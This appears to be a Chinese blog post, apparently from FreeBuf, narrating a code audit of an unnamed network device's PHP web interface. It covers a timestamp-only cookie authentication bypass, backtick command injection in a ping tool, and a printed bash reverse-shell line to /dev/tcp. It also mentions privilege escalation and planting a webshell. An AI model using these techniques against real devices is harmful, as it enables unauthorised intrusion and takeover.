0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

闲来无事,就对一网络设备的源码进行了一波审计,至于源码怎么来的,我觉得大家懂的都懂,果不其然,几分钟就能拿下这种站点了。
代码结构
和常规网络设备一样,我们可以访问的部分还是集中在www目录下,这里的代码还是很老套的一把梭代码,你甚至看不到MVC这类架构,冤种代码无疑了,冲他。
就是很常见的php的名字是啥,我们就能访问啥,显然我们会去走一遍登录的流程进行审计,然后去看后台功能点。
开发祭天 法力无边
看到所有的后台点都基本上包含这两个inc,我们很自然的就会先去审计这里,然后就发现了祭天的一幕。
这里乍一看还好,但是继续追一下checkLogin这个函数就发现大逻辑问题了,而且这种写法本身就有一个鉴权问题,会导致虽然是302但是我们依旧可以未授权获取后台功能的信息,虽然无法执行功能,但这里也算个点吧。
这里的验证再一出现才是真正的米奇妙妙屋,秒到家了。鉴权全靠时间戳可还行,只关注对应的cookie头而不关注cookie的内容,全靠时间戳,嘻嘻嘻,人麻了。伪造一下cookie头(简单意思就是同类型不同网站的cookie可以复用,只需要修改对应的时间戳即可,弱口令随便秒一个拿到cookie就能bypass登录了)
祭天之二次祭天
既然是网络设备那就搜搜ping或者找找www-tools这类的,一看一个准,直接定位到了他的工具箱。
到这基本上可以确定能shell了,往前翻翻过滤瞧瞧。
笑了,前端过滤,shell稳稳的到手了。为了确保万一再去看一下www-tools里的过滤。
嗯哼?感觉不必多说了,但是他这里还知道过滤一些|,;这种符号还是值得肯定的,然后直接``秒了。
bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'
,看了看架构都是linux的,而且自动安装的话web目录都是root权限而我们只有www-data权限,这也不难,随手提个权就能写入我们的webshell保持连接了。
总结
很多朋友都想入门审计,其实我觉得代码能力要求并不高,看得懂就行了,主要是要在脑海里有个整体的逻辑。网络设备,入门审计的不二之选,binwalk冲起来就能解决大部分。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)